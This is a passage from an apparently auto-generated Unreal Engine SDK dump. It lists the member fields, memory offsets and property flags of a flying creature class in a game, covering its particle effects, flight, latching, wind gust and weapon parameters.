class UParticleSystemComponent* ChaffFireworks; // 0x2298(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* WaterSurfaceFX; // 0x22A0(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* TailTrail; // 0x22A8(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* BarrelRollTrailRight; // 0x22B0(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* BarrelRollTrailLeft; // 0x22B8(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class URotatingMovementComponent* Rotating; // 0x22C0(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* TurboJetLeftLow; // 0x22C8(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* OffGasLeftLow; // 0x22D0(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* JetLeftLow; // 0x22D8(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* TurboJetRightLow; // 0x22E0(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* OffGasRightLow; // 0x22E8(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* JetRightLow; // 0x22F0(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* TurboJetLeftHigh; // 0x22F8(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* OffGasLeftHigh; // 0x2300(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* JetLeftHigh; // 0x2308(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* RightJet; // 0x2310(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* LeftJet; // 0x2318(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* Smoke; // 0x2320(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* ChargedLaserVFX; // 0x2328(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UDinoCharacterStatusComponent_BP_SpaceDolphin_C* DinoCharacterStatus_BP_SpaceDolphin_C1; // 0x2330(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UAudioComponent* AfterburnerLoop; // 0x2338(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UAudioComponent* ThrusterLoop; // 0x2340(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* MuzzleFlash; // 0x2348(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* Right; // 0x2350(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* Left; // 0x2358(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* TurboJetRightHigh; // 0x2360(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* OffGasRightHigh; // 0x2368(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* JetRightHigh; // 0x2370(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* RightTail; // 0x2378(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
class UParticleSystemComponent* LeftTail; // 0x2380(0x0008) (BlueprintVisible, ZeroConstructor, IsPlainOldData)
struct FVector TargetLatchingLoc; // 0x2388(0x000C) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool LatchAnimStarted; // 0x2394(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData00[0x3]; // 0x2395(0x0003) MISSED OFFSET
double LatchStartTime; // 0x2398(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool IsUnLatchingComplete; // 0x23A0(0x0001) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData01[0x3]; // 0x23A1(0x0003) MISSED OFFSET
struct FVector LatchingDirection; // 0x23A4(0x000C) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector LatchingSurfaceNormal; // 0x23B0(0x000C) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool CanLatchOnGround; // 0x23BC(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool StartControllerRotation; // 0x23BD(0x0001) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData02[0x2]; // 0x23BE(0x0002) MISSED OFFSET
float MaxLatchingAngle; // 0x23C0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, IsPlainOldData)
unsigned char UnknownData03[0x4]; // 0x23C4(0x0004) MISSED OFFSET
double UnlatchingStartTime; // 0x23C8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float LatchingOffset; // 0x23D0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, IsPlainOldData)
bool bWasFirstPerson; // 0x23D4(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData04[0x3]; // 0x23D5(0x0003) MISSED OFFSET
float LatchInCameraTransitionDuration; // 0x23D8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float LatchOutCameraTransitionDuration; // 0x23DC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool bBrakeDinoPressed; // 0x23E0(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool SuperFlight; // 0x23E1(0x0001) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData05[0x2]; // 0x23E2(0x0002) MISSED OFFSET
struct FVector PrevCameraLoc; // 0x23E4(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ServerRightAxisInput; // 0x23F0(0x0004) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float SuperFlightRightAxisInput; // 0x23F4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float SuperFlightRollInterpSpeed; // 0x23F8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
int LastFrameInterceptMoveRight; // 0x23FC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float SuperFlightMaxRollAngle; // 0x2400(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CameraLookDeltaForSuperFlihtQuickTurn; // 0x2404(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastTimeRequestedSuperFlightQuickTurn; // 0x2408(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float SuperFlightQuickTurnCooldown; // 0x2410(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData06[0x4]; // 0x2414(0x0004) MISSED OFFSET
double LastSuperFlightQuickTurn; // 0x2418(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastSuperFlightQuickTurnStartTime; // 0x2420(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DefaultFOV; // 0x2428(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DotProductForDiving; // 0x242C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float MinPercentDiveSpeedForDiving; // 0x2430(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float fovInterpSpeed; // 0x2434(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CurrentFOV; // 0x2438(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData07[0x4]; // 0x243C(0x0004) MISSED OFFSET
double TimeStartedDive; // 0x2440(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DivingCameraShakeScale; // 0x2448(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DivingCameraShakeSpeed; // 0x244C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double TimeStoppedDiving; // 0x2450(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float TamedWalkingSpeedMultiplierDiving; // 0x2458(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector TPVOffsetDiving; // 0x245C(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
TArray<class UClass*> RiderBuffs; // 0x2468(0x0010) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance)
float WindGustRadius; // 0x2478(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DebugWindGust; // 0x247C(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData08[0x3]; // 0x247D(0x0003) MISSED OFFSET
class UClass* WindGustStructureSettingsClassForDamage; // 0x2480(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UClass* WindGustTargetBuff; // 0x2488(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float WindGustForwardOffset; // 0x2490(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData09[0x4]; // 0x2494(0x0004) MISSED OFFSET
class UParticleSystem* WindGustWindEmitter; // 0x2498(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UAnimMontage* WindGustMontage; // 0x24A0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastTimeRequestShootFlakCannon; // 0x24A8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastTimeTriggeredFlakCannon; // 0x24B0(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UClass* FlakCannonProj; // 0x24B8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FName FlakCannonProjSpawnSocket; // 0x24C0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastTimeAllyAOECheck; // 0x24C8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float AllyAOERadius; // 0x24D0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float PercentOfMaxSpeedForAllyAOE; // 0x24D4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UClass* AllyAOEBuff; // 0x24D8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float AllyAOECheckCooldown; // 0x24E0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DebugAllyAOE; // 0x24E4(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData10[0x3]; // 0x24E5(0x0003) MISSED OFFSET
float TamedWalkingSpeedModifierNormalFlight; // 0x24E8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector WindGustScale; // 0x24EC(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float SuperFlightAccelerationScale; // 0x24F8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float FlightDraftingRadius; // 0x24FC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool IsDrafting; // 0x2500(0x0001) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData11[0x3]; // 0x2501(0x0003) MISSED OFFSET
float IsFlightDraftingDotProduct; // 0x2504(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastDraftingUpdateTime; // 0x2508(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FName SuperSaddleCustomTag; // 0x2510(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DebugDrawDrafting; // 0x2518(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData12[0x7]; // 0x2519(0x0007) MISSED OFFSET
class UClass* CarriedTargetBuff; // 0x2520(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UClass* SaddleFuelItem; // 0x2528(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastConsumeFuelTime; // 0x2530(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float FuelConsumeFrequency; // 0x2538(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector DefaultJetScale; // 0x253C(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CurrentZScale; // 0x2548(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData13[0x4]; // 0x254C(0x0004) MISSED OFFSET
double LastTimePlayedStruggleAnim; // 0x2550(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastWindGustRequestTime; // 0x2558(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UAnimMontage* OnStruggleAnim; // 0x2560(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastForwardInputTime; // 0x2568(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float RotationRateInterpSpeed; // 0x2570(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float RotationRateMultSuperBoost; // 0x2574(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float SuperBoostCameraShakeSpeed; // 0x2578(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float SuperBoostCameraShakeScale; // 0x257C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector TPVOffsetSuperBoost; // 0x2580(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float SuperBoostMaxRollAngle; // 0x258C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float SuperFlightToggleEndDelay; // 0x2590(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData14[0x4]; // 0x2594(0x0004) MISSED OFFSET
double SuperFlightStartEndTime; // 0x2598(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float FuelConsumeFrequencySuperBoost; // 0x25A0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData15[0x4]; // 0x25A4(0x0004) MISSED OFFSET
class UParticleSystem* DraftingParticle; // 0x25A8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float SpeedRequirementForDrafting; // 0x25B0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float UpdateDraftingInterval; // 0x25B4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector DraftingEmitterOffset; // 0x25B8(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FRotator DraftingParticleRotationOffset; // 0x25C4(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastWindGustStart; // 0x25D0(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float WindGustCooldown; // 0x25D8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float WindGust180EndDelay; // 0x25DC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double WindGust180StartTime; // 0x25E0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UCurveFloat* WindGust180UpVelocityCurve; // 0x25E8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float WindGust180UpVelocityScalar; // 0x25F0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float WindGust180ForwardVelocityScalar; // 0x25F4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FRotator WindGust180TargetRotation; // 0x25F8(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float RollAngleForTrailVisibility; // 0x2604(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UAnimMontage* GroundGrindAnim; // 0x2608(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UAnimMontage* FlyingGrindAnim; // 0x2610(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float FlakCannonCooldown; // 0x2618(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DebugChargedLaser; // 0x261C(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData16[0x3]; // 0x261D(0x0003) MISSED OFFSET
float WindGust180Boost; // 0x2620(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData17[0x4]; // 0x2624(0x0004) MISSED OFFSET
class UAnimMontage* FlakCannonRecoilAnim; // 0x2628(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UClass* FlakCannonAmmo; // 0x2630(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CurrentCrosshairX; // 0x2638(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CurrentCrosshairY; // 0x263C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CrosshairInterpSpeed; // 0x2640(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float NormalFlightTPVOffsetMultiplierZ; // 0x2644(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UAnimMontage* _180Montage; // 0x2648(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double Last180Time; // 0x2650(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float _180CooldownTime; // 0x2658(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float RunningSpeedModNormalFlight; // 0x265C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastTimePressedGamepadRightStick; // 0x2660(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastTimeStartedRightThumbstickPress; // 0x2668(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool GamepadToggledSuperFlight; // 0x2670(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData18[0x3]; // 0x2671(0x0003) MISSED OFFSET
struct FRotator ReplicatedControlRotation; // 0x2674(0x000C) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DebugAllowFireWeapons; // 0x2680(0x0001) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData19[0x7]; // 0x2681(0x0007) MISSED OFFSET
double LastTimePressedJump; // 0x2688(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastTimeReleasedJump; // 0x2690(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float IsDraftingDotProductForwardsMatching; // 0x2698(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData20[0x4]; // 0x269C(0x0004) MISSED OFFSET
TArray<class UAnimMontage*> BlockingAnim; // 0x26A0(0x0010) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance)
struct FName StartTamingBuff; // 0x26B0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StartTamingBuffDurationMultAdd; // 0x26B8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData21[0x4]; // 0x26BC(0x0004) MISSED OFFSET
double StartedRunningTime; // 0x26C0(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double StoppedRunningTime; // 0x26C8(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class USoundBase* AfterburnerOnSound; // 0x26D0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class USoundBase* AfterburnerOffSound; // 0x26D8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class USoundBase* ThrusterOnSound; // 0x26E0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class USoundBase* ThrusterOffSound; // 0x26E8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class USoundAttenuation* ThrusterAttenuationSettings; // 0x26F0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector TPVOffset180; // 0x26F8(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CapsuleHalfHeightForDrafting; // 0x2704(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ThrusterVFXScaleAdditive; // 0x2708(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float JetFXScaleInterpSpeed; // 0x270C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float InitialThrusterVFXScaleAdditive; // 0x2710(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool Tameable; // 0x2714(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData22[0x3]; // 0x2715(0x0003) MISSED OFFSET
float AdditiveAccelerationOnDrafting; // 0x2718(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float FuelConsumeFrequencyForwardInput; // 0x271C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UMaterialInstanceDynamic* SaddleDMIC; // 0x2720(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DebugSaddle; // 0x2728(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData23[0x3]; // 0x2729(0x0003) MISSED OFFSET
float LaserCooldown; // 0x272C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastTimeTriggerLaserFire; // 0x2730(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UClass* LaserAmmo; // 0x2738(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UAnimMontage* LaserFireAnim; // 0x2740(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DebugLasers; // 0x2748(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData24[0x3]; // 0x2749(0x0003) MISSED OFFSET
float LaserRange; // 0x274C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float LaserDamage; // 0x2750(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData25[0x4]; // 0x2754(0x0004) MISSED OFFSET
class UClass* LaserDamageType; // 0x2758(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UParticleSystem* LaserTrailVFX; // 0x2760(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastRequestFireLasers; // 0x2768(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FName LaserFireSocket; // 0x2770(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double TimeStartedCharge; // 0x2778(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float MaxChargeTime; // 0x2780(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData26[0x4]; // 0x2784(0x0004) MISSED OFFSET
class UClass* ChargedLaserProjectile0; // 0x2788(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class AActor* ChargedLaserTarget; // 0x2790(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnTemplate, DisableEditOnInstance, IsPlainOldData)
float ChargedLaserChargeTime; // 0x2798(0x0004) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float MinTimeForChargedLaser; // 0x279C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ChargedLaserBaseScale; // 0x27A0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ChargedLaserRange; // 0x27A4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ChargedLaserCrossHairRadius; // 0x27A8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
int NumPressedFwdCount; // 0x27AC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool IsLooping; // 0x27B0(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData27[0x7]; // 0x27B1(0x0007) MISSED OFFSET
class UCurveVector* LoopLocationCurve; // 0x27B8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double TimeStartLoop; // 0x27C0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float LoopRadius; // 0x27C8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float LoopSpeed; // 0x27CC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DebugLoop; // 0x27D0(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
